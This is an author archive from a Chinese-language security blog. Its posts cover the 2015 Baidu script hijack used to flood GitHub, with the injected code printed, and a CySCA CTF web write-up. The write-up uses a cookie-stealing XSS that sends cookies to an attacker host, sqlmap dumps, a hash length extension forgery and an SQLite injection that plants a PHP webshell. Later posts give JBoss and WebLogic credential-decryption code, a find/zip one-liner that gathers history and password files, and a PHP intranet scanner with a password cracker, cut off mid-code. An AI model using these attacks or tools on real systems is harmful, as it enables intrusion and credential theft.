Author Archives: [email protected]

Baidu’s traffic hijacked to DDoS GitHub.com [Updated]

UPDATE:

Netresec has done a really professional analysis on this matter. Too bad the attack stopped before I could capture some packets.
Now here is their finding:

http://www.netresec.com/?page=Blog&month=2015-03&post=China%27s-Man-on-the-Side-Attack-on-GitHub

Robert Graham from Errata Security also pin pointed the exact location where the attack took place using HTTP traceroute:

http://blog.erratasec.com/2015/04/pin-pointing-chinas-attack-against.html

You can do the same by modifying this tool which was used to locate the nodes of GFW:

https://github.com/mothran/mongol

 

 

As a Chinese living outside of China, I frequently visit Chinese websites, many of which use advertising and visitor tracking provided by Baidu, the largest search engine available in China. As I was browsing one of the most popular Chinese infosec community in China, zone.wooyun.org, at around 12:00pm GMT+8, my browser suddenly started to pop up JS alerts every 5 seconds.
Alert

My first thought was someone naughty XSSed the page, so I opened developer tools to find the source of the XSS.

JS event

Almost instantly I saw it was keep trying to load these two URLs: github.com/greatefire/ and github.com/cn-nytimes/ every a few seconds.

After some digging I located the source of the JS that did it, a piece of code under each page:

</pre>
<div style="display: none;"><script type="text/javascript">// <![CDATA[
var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://"); document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3F3faf3a47435cc512f3b86dc12af100d0' type='text/javascript'%3E%3C/script%3E"));
// ]]></script></div>
<pre>

The Baidu user tracking code, just like Google Analytics code that you would see on other websites.

All the function call was triggered from this file, so I opened http://hm.baidu.com/h.js in browser:

code

Seems it has been obfuscated. No custom JS bytecode VM? You call that JS obfuscation? …piece of a cake:

document.write("<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js">// <![CDATA[

\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);

Every 2 seconds, as you can see from setTimeout(“r_send2()”, 2E3) , it will try to load an random URL from

["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]

I asked some of my friends in China to open the js file from Baidu.com, it was blank as it supposed to, to display a blank page if the request does not have a HTTP referrer.

Apparently many other people have discovered it too:

1

2

Appears to be HTTP hijacking.

I scanned hm.baidu.com with NMAP, only two ports were opened, 80 and 443
SSL connection was not hijacked:
s5

nmap

Traceroute:
mtr

It is also worth noting that on port 80, web server was lighttpd, but on port 443 it was Apache

What is happening here is pretty clear now:
A certain device at the border of China’s inner network and the Internet has hijacked the HTTP connections went into China, replaced some javascript files from Baidu with malicious ones that would load

["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]

every two seconds.

OK that explained something but not everything, why it started to alert user with

Warning: malicious javascript detected on this domain

When I opened one of the urls being DDoSed above, the content was:

alert("WARNING: malicious javascript detected on this domain")

Very clever, use alert to block code execution to prevent it being called in a loop. Maybe it was done by Github or Greatfire themselves, who knows.

Conclusion:

Remember this?

http://furbo.org/2015/01/22/fear-china/

In other words, even people outside China are being weaponized to target things the Chinese government does not like, for example, freedom of speech.

EDIT:

By the time I posted this article, the attack has stopped has evolved by using other javascript files from Sina blog.
// ]]>

2014年澳大利亚信息安全挑战 CySCA CTF 官方write up Web篇

本文仅授权乌云网 *.wooyun.org转载

一年一度的澳洲CySCA CTF是一个由澳洲政府和澳洲电信Telstra赞助的信息安全挑战赛,主要面向澳洲各大学的安全和计算机科学专业的学生。CTF环境全部虚拟化并且需要openvpn才能进入。

第一题 非请勿入

说明:
一个只有VIP用户才能进去的blog,想办法进去后就能看到flag了。

解题:

打开burp和浏览器开始观察目标,我们发现了几个有意思的地方:

有个用户登录页面 login.php
blog导航栏里有个博客页面的链接,但是是灰色的无法点击也打不开
cookie有两个,PHPSESSID还有vip=0
cookie没有http only,有可能被xss到

vip=0,这有点明显,用burp或者浏览器cookie编辑工具把vip改成1,刷新页面后那个隐藏的链接可以打开了,打开后就是flag:

ComplexKillingInverse411

第二题 好吃的小甜饼

说明:
用已任何已注册用户的身份成功登录blog。

解题:
翻了翻这个博客,又发现了几个好玩的地方:

可以看博客内容
可以添加回复
用户Sycamore似乎正在看第二篇博客 view=2

Burp的内建插件 intruder可以用来在提交的参数里插入sql注入或者xss代码,Kali中自带了几个xss和sql注入的字典:

/usr/share/wfuzz/wordlist/Injections/SQL.txt
/usr/share/wfuzz/wordlist/Injections/XSS.txt

用这几个字典里的标准注入语句和xss代码对 GET view=?和 POST comment=?这两个参数过了一遍,没发现任何xss或者注入,于是我们决定对comment这个地方再仔细看看。

comment参数似乎过滤了不少东西,比如去掉了所有引号,转义了全部html特殊字符。但是似乎comment支持markdown语言里的斜体,粗体和链接标签,然后我们用burp intruder的xss测试在下面几个输入里面测试:

_test_
*test*
[test](test)

果然成功了,在markdown链接标签的链接名称的地方存在XSS:

[<script>alert('xss')</script>](test)

后续测试发现链接名称最长只能用30字符,翻了翻OWASP的XSS cheat sheet,https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
最短的是这个:

在Kali中,新建个文件 .j,里面放点偷cookie的js:
$.get(‘http://192.168.16.101?cookie=’+document.cookie);
然后在同目录下用python开个http服务器:
python ­-m SimpleHTTPServer 80

发送XSS payload

[<script src=//192.168.16.101/.j>](test)

然后坐等目标上钩…
.
.
.
等了这么久怎么还没有?
原来是192.168.16.101这个ip太长了,payload被截断了……
再仔细想想,好像很多浏览器支持十进制IP的,于是我们的payload变成了:

[<script src=//3232239717/.j>](test)

好吧,其实还是超过了30位,不过比赛的时候这个长度被改成了75位所以无所谓了。

发送这个payload后,过了一会儿在控制台里出现了Python HTTP Server的日志:

172.16.1.80 ­ ­ [20/Feb/2014 16:11:07] "GET /.j HTTP/1.1" 200 ­
172.16.1.80 ­ ­ [20/Feb/2014 16:11:12] "GET
/?cookie=PHPSESSID=pm5qdd1636bp8o1fs92smvi916;%20vip=0 HTTP/1.1" 301

伪造cookie刷新后拿到flag: OrganicShantyAbsent505

第三题 Nonce-Sense

说明:
Flag在数据库里。

解题:
用上面用户的cookie登录后逛了一下,发现用户可以在自己的blog下面删除评论,这个功能是通过ajax POST到deletecomment.php实现的,提交的内容里有CSRF token。

CSRF token会被最先检查,如果不对的话会直接返回错误,这样导致对提交的参数进行自动化测试会比较困难,好在burp提供了宏这个功能,可以让我们自动采集CSRF token然后提交。

每次POST到deletecomment.php这个页面都会返回一个不同的CSRF token,下次提交的时候必须带着才行。
我们可以用burp里的session handler中的宏来抓取,我建议你先读一下这篇:

http://labs.asteriskinfosec.com.au/fuzzing-­and­-sqlmap­-inside-­csrf-­protected­-locations-­part­1/

通过SQL intruder插件,很快就可以发现在comment_id参数中存在SQL注入。

{"result":false,"error":"You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near
'\"' at line 1","csrf":"43b461afdd56f52f"}

找到注入点后,拿上顺手的SQLMAP和Burp的proxy session宏结合起来,参考这里:

http://labs.asteriskinfosec.com.au/fuzzing-­and­-sqlmap­-inside-­csrf-­protected­-locations-­part­2/

把sqlmap的请求都保存到文件里,并且确保更新session cookie

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id
...
[17:15:55] [WARNING] target URL is not stable. sqlmap will base the page
comparison on a sequence matcher. If no dynamic nor injectable parameters are
detected, or in case of junk results, refer to user's manual paragraph 'Page
comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
...
[17:16:39] [INFO] heuristic (basic) test shows that POST parameter 'comment_id'
might be injectable (possible DBMS: 'MySQL')

...
heuristic (parsing) test showed that the back­end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and risk
(1)? [Y/n] n
...
[17:17:13] [INFO] POST parameter 'comment_id' is 'MySQL >= 5.0 AND error­based ­
WHERE or HAVING clause' injectable
...
POST parameter 'comment_id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] n

现在我们确认了sqlmap和burp都正确配置了,接下来就可以把库拖下来了。

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id
­­current­db
current database:    'cysca'

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D
cysca ­­tables
Database: cysca

#> sqlmap ­r /root/sql­web3­headers
[5 tables]
+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­---------------------------------------+
| user                                  |
| blogs                                 |
| comments                              |
| flag                                  |
| rest_api_log                          |
+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­---------------------------------------+

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D
cysca ­T flag ­­dump
[1 entry]
+­­­­­­­­­­­­­­­­­­­­­­----------------------+
| flag                 |
+­­­­­­­­­­­­­­­­­­­­­­----------------------+
| CeramicDrunkSound667 |
+­­­­­­­­­­­­­­­­­­­­­­----------------------+

第四题:Hypertextension

说明:
在缓存控制面板里面找到flag。

解题:
控制面板是REST API的形式,在说明文档里面写了这个API有添加文件名然后读取文件内容的功能,也许我们能用这个功能来读取PHP源码?

首先需要找到API key,在上一题里似乎数据库中有个表名叫rest_api_log,我们用SQLMAP把表拖下来看看:


#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D
cysca ­T rest_api_log ­­dump
Database: cysca
Table: rest_api_log
[4 entries]

| id | method | params
| api_key          | created_on          | request_uri                 |

| 1  | POST   |
contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_s
ig=235aca08775a2070642013200d70097a             | b32GjABvSf1Eiqry | 2014­02­21
09:27:20 | \\/api\\/documents          |
| 2  | GET    | _url=%2Fdocuments&id=2
| NULL             | 2014­02­21 11:47:01 | \\/api\\/documents\\/id\\/2 |
| 3  | POST   |
contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest­api.txt&api_sig=95a0e7dbe06
fb7b77b6a1980e2d0ad7d                           | b32GjABvSf1Eiqry | 2014­02­21
11:54:31 | \\/api\\/documents          |
| 4  | PUT    |
_url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest­api­
v2.txt&api_sig=6854c04381284dac9970625820a8d32b | b32GjABvSf1Eiqry | 2014­02­21
12:07:43 | \\/api\\/documents\\/id\\/3 |

利用里面的其中一条,放到curl里面测试一下,根据REST API的文档,curl命令应该是这样的:

#> curl ­X PUT ­d
'contenttype=text/plain&filepath=./documents/rest­api­v2.txt&api_sig=6854c04381284
dac9970625820a8d32b' ­H 'X­Auth: b32GjABvSf1Eiqry'

http://172.16.1.80/api/documents/id/3

根据文档,api_sig的值是在php里面生成的:

hashlib.md5(secret+’contenttypetext/plainfilepath./documents/rest­api­v2.txtid3′).
hexdigest()

secret作为双方都共享的值,后面加上目标文件的路径,生成的md5 hash作为api签名,在不知道secret的情况下,似乎无法利用任意路径生成合法的签名。

但是真的是这样么?
几年前著名应用 Flickr曾经因为Hash签名使用方法不正确结果掉进了很大的坑里,那就是 Hash长度扩展攻击(Hash length extension attack),导致可以在不知道API secret的情况下伪造任意请求。
关于Flickr的坑请看这里:

http://netifera.com/research/flickr_api_signature_forgery.pdf

Hash长度扩展攻击能够实现是因为 foo=bar 和 fo=obar 会产生一样的hash签名,所以我们可以生成一个可以让我们在原参数后面添加新参数,并且签名还是可以通过检验的。

比如这个请求:

“contenttype=text/plain&filepath=./documents/rest­api­v2.txt”

如果我们把它改成:

“c=ontenttypetext/plain&filepath=./documents/rest­api­v2.txt&contenttype=text/plai
n&filepath=./index.php”

那么在计算hash的时候字符串就会变成这样:
SECRETcontenttypetext/plainfilepath=./documents/rest­api­v2.txtcontenttype=text/p
lainfilepath=./index.phpid3

因为数据在被hash的时候会被分割成固定长度的块,前面的块生成的hash会放入下一个块中和块的内容一起继续hash,直到最后一个块,最后一个块生成的hash就是我们最后得到的hash,也就是前面的api_sig。

现在我们知道了前面所有块产生的hash,如果我们自己再造一个块,把这个hash当成前面的块的hash放进我们自己建立的块中来hash一下会发生什么?

结果我们在不知道secret的情况下获得了可以在原文后添加任意内容并且产生合法hash的方法。

大部分web server在处理同样参数的不同内容时倾向于选择后面的,例如foo=1&foo=2,最后foo的值是2,
但是有些web server也会使用前面的,这样这个方法是不是就不能用了?

根据这个API的文档,参数和值会拼接在一起然后一起hash,例如,foo=bar&foo1=bar1会被变成字符串foobarfoo1bar1,所以假如我们把foo=bar变成fo=obar,拼接后的字符串还是foobarfoo1bar,这样我们就可以完全控制需要更改的参数了。

现在开始利用这个漏洞,首先下载并且编译工具 HashPump (https://github.com/bwall/HashPump),然后利用它来生成我们需要的hash。因为我们不知道secret的长度,所以需要穷举key的长度(hashpump的k参数)

#> ./hashpump ­s 6854c04381284dac9970625820a8d32b ­­data
contenttypetext/plainfilepath./documents/rest­api­v2.txtid3 ­a
contenttypetext/plainfilepath./index.phpid3 ­k 16
4625e458d07cb19da70effa3d1c6dc14
contenttypetext/plainfilepath./documents/rest­api­v2.txtid3\x80\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x02\x
00\x00\x00\x00\x00\x00contenttypetext/plainfilepath./index.phpid3

我们把每次尝试k值生成的hash和字符串用curl提交到服务器,直到服务器提示成功为止,经过多次测试,我们发现k值是16.

#> curl ­-X PUT -­d
'c=ontenttypetext/plainfilepath./documents/rest­api­v2.txtid3%80%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00X%02%00%00%00%00%00%00&contenttype=text/plain&file
path=./index.php&api_sig=4625e458d07cb19da70effa3d1c6dc14'  ­H 'X­Auth:
b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3

接下来我们就成功获取了index.php的源码(成功的把index.php的源码作为document id 3 保存):

#> curl http://172.16.1.80/api/documents/id/3
<?php
// Not in production... see /cache.php?access=<secret>
include('../lib/caching.php');
if (isset($_GET['debug'])) {
readFromCache();
}
**** SNIP ****

似乎这个cache.php有点意思,我们改改上面的hash长度攻击利用代码,把index.php换成cache.php,这次我们成功的拿到了flag。

#> curl http://172.16.1.80/api/documents/id/3
**** SNIP ****
$flag = 'OrganicPamperSenator877';
if ($_GET['access'] != md5($flag)) {
header('Location: /index.php');
die();
}
**** SNIP ****

第五题:注入空间 Injeption

说明:
Web篇最后的flag藏在 /flag.txt里,你能拿到么?

解题:
上一题cache.php里面的源码最后写了,提交的参数access的值必须是上一题flag的md5,浏览器打开cache.php?access=f4fa5dc42fd0b12a098fcc218059e061 显示的是一个很简单的表单,表单提交了两个参数,URI和标题,在cache.php里面对这两个参数严格检查,比如URI参数前面必须是http://开头,服务器必须是本地,然后这个URI必须真实存在,不能是404.
标题被限制在40字符以内,但是不会过滤引号,似乎可以被注入。
我们尝试在标题里提交 /* ,返回了错误信息:

near "/*', '59ab7c9e3917a154ff56a43d08a262ab',
'http%3A%2F%2F172.16.1.80%2Findex.php', '...', datetime('now'))": syntax error

熟悉的SQL显错注入,根据错误信息,后端数据库似乎是SQLite,通过查看lib/caching.php的源码我们可以确认这一点,通过源码我们还可以看出,URI所指向的页面内容被直接存进了数据库中。

考虑到40个字符的限制不能进行任何有利用价值的SQL注入,我们需要找到一个可以注入长字符串的方法,页面内容输出缓存的功能现在派上用场了。

幸运的是,我们可以控制并且注入没转义过的单引号到缓存页面,并且把缓存页面自己缓存了,把在标题中的几个较短的注入语句拼接在一起,一个完整的注入语句就能在缓存页面被存入数据库的时候执行。

这里有个很好用的SQLite注入 cheat sheet,可以直接通过注入拿shell!

http://atta.cked.me/home/sqlite3injectioncheatsheet

我们的目标是利用这段注入语句拿到shell:

',0); ATTACH DATABASE 'a.php' AS a; CREATE TABLE a.b (c text); INSERT INTO a.b
VALUES ('<? system($_GET[''cmd'']); ?>');/*

我们如何用40个字符的长度注入122字符的SQL语句? SQL块注释!

这需要一些额外的转义并且把php的拼接指令’||’分开:

'',0);ATTACH DATABASE ''a.php'' AS a;/*
*/CREATE TABLE a.b (c text);INSERT /*
*/INTO a.b VALUES(''<? system($''||/*  */''_GET[''''cmd'''']); ?>'');/*

当这些标题一个个出现在缓存页面中的时候,我们把缓存页面给缓存了,我们的注入语句就被执行了,并且生成了webshell a.php

我们现在就可以在服务器上执行任意指令了! 比如 cat /flag.txt

#> curl http://172.16.1.80/a.php?cmd=cat+/flag.txt
CFlag: TryingCrampFibrous963

Web篇完结。

关于QQ群大数据可视化查询

最新地址:

https://qqgroup.insight-labs.org

警惕IPSec/L2TP VPN被GFW干扰后变明文

昨天拿服务器搭了个ipsec/l2tp的vpn给朋友翻墙,朋友说连上之后只要一上国外网站,facebook,youtube之类的就会断线,我觉得很不可思议,明明都是加密了的,这不科学。

后来把debug打开,tail -f /var/log/secure,tail -f /var/log/message,一般情况下,连ipsec l2tp vpn,secure log会显出现IKEv2握手的日志,最后会出现transport xxx established,说明ipsec通道建立完成,然后message log才开始出现ppp登录记录,但是每次我朋友拨vpn的时候,根本看不到secure log里有任何动静,上来就是ppp登录。

后来用nc发udp包做测试,正常情况下,用nc发送任意内容的udp包到udp 500端口,可以看到secure日志里提示数据包畸形(malformed xxxx),但是朋友用nc测试,也没有任何提示,说明udp包在500端口被drop了。
最诡异的一点是windows这时候居然还能建立成功vpn,即使打开了 需要加密(如果服务器拒绝将断开连接) 这个选项,还是可以建立成功vpn通道,只不过这个时候是明文的,而且gfw可以重建通道内的数据包进行审查。
如果打开强制使用最大程度加密的选项,vpn则会建立失败。但是在没有被封锁的地区是可以连上的。

GFW以前是不管ipsec vpn的……
鉴于vpn对大家有着比翻墙更重要的用途,使用l2tp vpn的时候记得打开强制使用最大程度加密的选项,否则很容易在被gfw干扰的情况下变成明文vpn。

InsightScan:Python多线程Ping/端口扫描 + 端口服务探测+HTTP服务/APP 探测,可生成Hydra用的IP列表

现成的工具没一个好用的,包括metasploit自带的模块。

功能:
支持CIDR格式输入IP地址段
支持任意线程扫描
支持自定义端口列表或端口段
端口服务指纹识别
检测常见网络管理web应用
自动在http服务端口上抓页面
扫描结果根据端口号排序或者生成服务ip列表,方便测试弱密码。

使用说明:
Usage: InsightScan.py <hosts[/24|/CIDR]> [start port] [end port] -t threads

Example: InsightScan.py 192.168.0.0/24 1 1024 -t 20
Options:
-h, –help show this help message and exit
-t NUM, –threads=NUM
Maximum threads, default 50
-T TIMEOUT, –timeout=TIMEOUT
Scan timeout, per thread
-p PORTS, –portlist=PORTS
Customize port list, separate with ‘,’ example:
21,22,23,25 …
-N, –noping Skip ping sweep, port scan whether targets are alive
or not
-P, –pingonly Ping scan only,disable port scan
-S, –service Service detection, using banner and signature
-d, –downpage Detects interesting stuff on HTTP ports(80,80,8080),
when used with -S , will try all ports with HTTP
service. Grab and save to HTML pages if found
anything.
-l, –genlist Output a list, ordered by port number(service, with -S
option),for THC-Hydra IP list
-L, –genfile Put the IP list in separate files named by port
number(service, with -S option). Implies -l option.
Example: IPs with port 445 opened will be put into
445.txt

中文说明:
-t 最大扫描线程数,默认50
-T 扫描端口的超时时间,默认每个端口等待2秒
-p 自定义端口列表,用逗号分隔,例如 -p 21,23,25,80 也可以只设定一个端口, -p 445
默认端口列表为21,22,23,25,80,81,110,135,139,389,443,445,873,1433,1434,1521,2433,3306,3307,3389,5800,5900,8080,22222,22022,27017,28017
-N 不ping直接扫描,相当于nmap的 -Pn选项,会比较慢
-P 不扫描端口,只进行ping扫描 判断存活主机
-S 在每个打开的端口上进行服务探测,不要以为把ssh或者rdp换个端口就万事大吉了哦。服务指纹包括了大部分有利用价值的服务。
-d 在 80,81,8080端口检测 HTTP服务器,并且扫描一些常见web应用,比如:’phpinfo.php’,’phpmyadmin/’,’xmapp/’,’zabbix/’,’jmx-console/’,’.svn/entries’,’nagios/’,’index.action’,’login.action’
和-S 选项一起用的话,会在所有打开HTTP服务的端口进行检测
用途大家自己想……
如需添加,改源码里的URLS全局变量,目录名后面必须加’/’

检测到这些应用存在后会在输出提示并且把HTML抓下来保存到page.html文件里。

-l 把扫描结果按照端口号分类后输出,只有在完全扫描完成后才会输出,输出:

========Port 3306 ========
192.168.0.100

========Port 139 ========
192.168.0.100
192.168.0.13

========Port 3389 ========
192.168.0.100

========Port 80 ========
192.168.0.100
192.168.0.1

========Port 23 ========
192.168.0.1

========Port 443 ========
192.168.0.13

========Port 445 ========
192.168.0.100
192.168.0.13

和 -S 选项一起使用的话会按照服务名称进行排序,例如:

========ssh========
192.168.0.20:22
192.168.0.21:54321
192.168.0.21:52222

========msrdp=========
192.168.0.31:3389
192.168.0.32:33889
192.168.0.31:3390

…..

-L 按照不同端口号生成以端口号命名的txt文件,文件内容是打开该端口的IP列表,例如 在192.168.0.0/24 扫描22和445端口,
扫描结束后会在当前目录生成 22.txt和 445.txt,里面是这个ip段所有打开这两个端口的ip列表。生成的列表文件可以直接供THC-hydra的 -M 选项使用
和 -S 一起用的话,会输出类似 -l 一样的格式,ip:port形式,但是这种格式似乎不能直接给hydra用。

*****************************************************************************
未来功能:
针对特定服务,自动弱密码检测。
对http登录表单,401 登录认证进行自动弱密码检测。
对常见web应用漏洞,例如任意上传漏洞,web server管理后台上传漏洞,Struts执行任意指令漏洞进行自动检测
.
.
.

GitHub:
https://github.com/AnthraX1/InsightScan

下载地址

解密JBoss和Weblogic数据源连接字符串和控制台密码

现在越来越多的站喜欢用java语言的框架做web应用了,很多大型站点经常采用jboss或者weblogic做web服务器。出于安全原因,它们都提供把数据源连接密码以及web服务器后台密码加密的功能,jboss用的是blowfish,weblogic旧版的加密算法一般为3DES,新版的则都是AES。
这几种加密算法都是可逆的,因为在web服务器连接到数据库的时候还是要把密码解密成明文之后发过去或者和challenge运算的,所以我们有了两个突破口,第一个就是,解密后的明文密码必然保留在内存中,如果把web服务器的内存空间dump下来分析是肯定可以找到明文密码的,这个方法在前段时间hip发的memory forensic文章里有涉及到。第二个方法就是,调用服务器程序自身的解密函数,让它把明文echo出来。

JBoss

jboss的数据库连接密码一般存在%JBOSS_HOME%\server\%appname%\deploy 下面的各种xml里面,比如oracle的是oracle-ds.xml,mysql是mysql-ds.xml…… 在没有加密的情况下,密码是这么保存的:

<jndi-name>OracleDS</jndi-name>   //jndi名字
<use-java-context>false</use-java-context>
<connection-url>jdbc:oracle:thin:@localhost:1521:orcl</connection-url>  //URL地址
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class>  //驱动
<user-name>root</user-name>    //用户名
<password>123456</password>  //密码

在配置完密码加密后,这个文件里要么没有username和password,要么被comment掉了。下面多了个EncryptDBPassword
加密后的密码存在jboss目录的conf/login-config.xml文件里:

<application-policy name="EncryptDBPassword">
          <authentication>
              <login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
                  <module-option name="username">admin</module-option>
                  <module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option>
                  <module-option name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option>
              </login-module>
          </authentication>
      </application-policy>

5dfc52b51bd35553df8592078de921bc就是加密后的密文了,有的时候前面还有个符号,也是密文的一部分。
jboss用来加密的key是明文硬编码在jboss源码里的,key是jaas is the way

解密过程:

找个能编译java的环境或者在线的java编译执行网站:编译以下代码:


/*
* JBoss.java - Blowfish encryption/decryption tool with JBoss default password
*    Daniel Martin Gomez <daniel @ ngssoftware.com> - 03/Sep/2009
*
* This file may be used under the terms of the GNU General Public License
* version 2.0 as published by the Free Software Foundation:
*   http://www.gnu.org/licenses/gpl-2.0.html
*/
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;

import java.math.BigInteger;

public class JBoss
{

public static void main(String[] args) throws Exception
{

if ( ( args.length != 2 ) || !( args[0].equals("-e") | args[0].equals("-d") ) )
{
System.out.println( "Usage:\n\tjava JBoss <-e|-d> <encrypted_password>" );
return;
}

String mode = args[0];

byte[] kbytes = "jaas is the way".getBytes();
SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");
Cipher cipher = Cipher.getInstance("Blowfish");

String out = null;

if ( mode.equals("-e") )
{
String secret = args[1];
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.getBytes());
out = new BigInteger(encoding).toString(16);
}
else
{
BigInteger secret = new BigInteger(args[1], 16);
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.toByteArray());
out = new String(encoding);
}
System.out.println( out );
}
}

编译后执行,用 -d参数解密,比如 java JBoss -d 5dfc52b51bd35553df8592078de921bc
就会返回明文密码。

Weblogic

weblogic要稍微复杂一些,jboss的加密函数是java代码里面的,但是weblogic是自己写的,所以解密程序也需要调用weblogic的代码包。WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。另外,每个Weblogic app的加密key都是随机生成的,所以不同服务器甚至同服务器不同应用上的weblogic都是用不同的密码加密的,这一点上比jboss安全很多。但是,毕竟连数据库的时候还是要还原,所以还是可以解密的。解密过程如下:

加密key都保存在securitySerializedSystemIni.dat 文件中,比如

weblogic安装目录\user_projects\domains\APPNAME\securitySerializedSystemIni.dat

有些版本是放到security目录里的,一个应用里面只会有一个这个文件,find一下就找到了。

找到后把它复制到其他的文件夹,比如\tmp下面

在这个文件夹下新建一个java文件,Decrypt.java,名字不能错,必须和内容的class名字一样。

import java.io.PrintStream;
import weblogic.security.internal.*;
import weblogic.security.internal.encryption.*;

public class Decrypt
{
static EncryptionService es = null;
static ClearOrEncryptedService ces = null;
public static void main(String args[])
{
String s = null;
if(args.length == 0)
s = ServerAuthenticate.promptValue("Password: ", false);
else
if(args.length == 1)
s = args[0];
else
System.err.println("Usage: java Decrypt [ password ]");
es = SerializedSystemIni.getExistingEncryptionService();
if(es == null)
{
System.err.println("Unable to initialize encryption service");
return;
}
ces = new ClearOrEncryptedService(es);
if(s != null)
System.out.println("\nDecrypted Password is:"+ces.decrypt(s));
}
}

根据目标的操作系统,在weblogic目录中找到setWLSEnv.cmd 或者 setWLSEnv.sh 并且执行。执行后会出来一长串环境变量,分别是CLASSPATH和PATH。但是有些情况下这些环境变量没有加进去,所以还需要执行一下(linux下,windows一般不会出现这个情况) export $CLASSPATH

如果这个命令执行完也出来一串东西,那就说明环境变量设置正确,如果没有的话,则需要在shell里手动执行。把之前执行setWLSEnv.sh出来的两个环境变量分别复制然后 export一下就行。再执行以下export $CLASSPATH确认是否加上了。成功后就可以进行下一步了。

weblogic的数据库字符串一般存在weblogic下面应用目录的conf里面,也是xml格式,加密后的密码格式为

{AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=或者{3DES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=

到之前放Decrypt.java的目录执行 javac Decrypt.java 然后执行 java Decrypt 加密后密码,比如 java Decrypt {AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=

执行完后就会告诉你 Decrypted Password is : weblogic

weblogic的控制台密码也是用同样的方式加密的。

Linux shell script for information gathering|Linux收集信息小脚本

找出所有.sh .pl .py .conf .cnf .ini .*history .*pass* (/usr/share目录里面的除外) 并且在当前目录zip打包。有些时候很多配置文件的权限配置不严,如果搜集完全的话对于进行下一步有很大帮助。

Find all .sh .pl .py .conf .cnf .ini .*history .*pass* (Except in /usr/share) then zip in current directory

find / \! -path “/usr/share/*” -regex “.*\.sh$\|.*\.pl$\|.*\.py$\|.*\.conf$\|.*\.cnf$\|.*\.ini$\|.*\/\..*history$\|.*\/\..*pass.*” -print|zip pack.zip -@

PHP内网扫描小脚本+密码破解小脚本/PHP Intranet scanner+password cracker

前几天没事蛋疼的时候写的,可以扫描B段IP外加根据字典破解一些服务的密码,比如FTP,SSH,MySQL,MSSQL,Oracle之类,会自动尝试空密码和弱密码,比如ftp的匿名登录,mssql的sa空密码,oracle的默认密码之类。

扫描和破解均为单线程,多线程需要pcntl支持,因为PHP默认不带这个功能,所以没加多线程,慢点就慢吧

因为Web服务器超时的关系,所以建议每次扫50个IP比较好。


<?php

#Class B PHP port scanner by anthrax @ insight-labs.org
session_start();
set_time_limit(0);
ob_implicit_flush(True);
ob_end_flush();

function check_port($ip,$port,$timeout=0.1) {
 $conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
 if ($conn) {
 fclose($conn);
 return true;
 }
}
function crackpwd($addr,$port,$userlist,$passlist,$type){
switch($type){

case 'ftp':
$ftp=@ftp_connect($addr,$port);
if(@ftp_login($ftp,'anonymous','safasf#asfs.com')){
echo "$addr".':'.$port.' Anonymous Login enabled'.'<br/>';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@ftp_login($ftp,$username,$pass)){
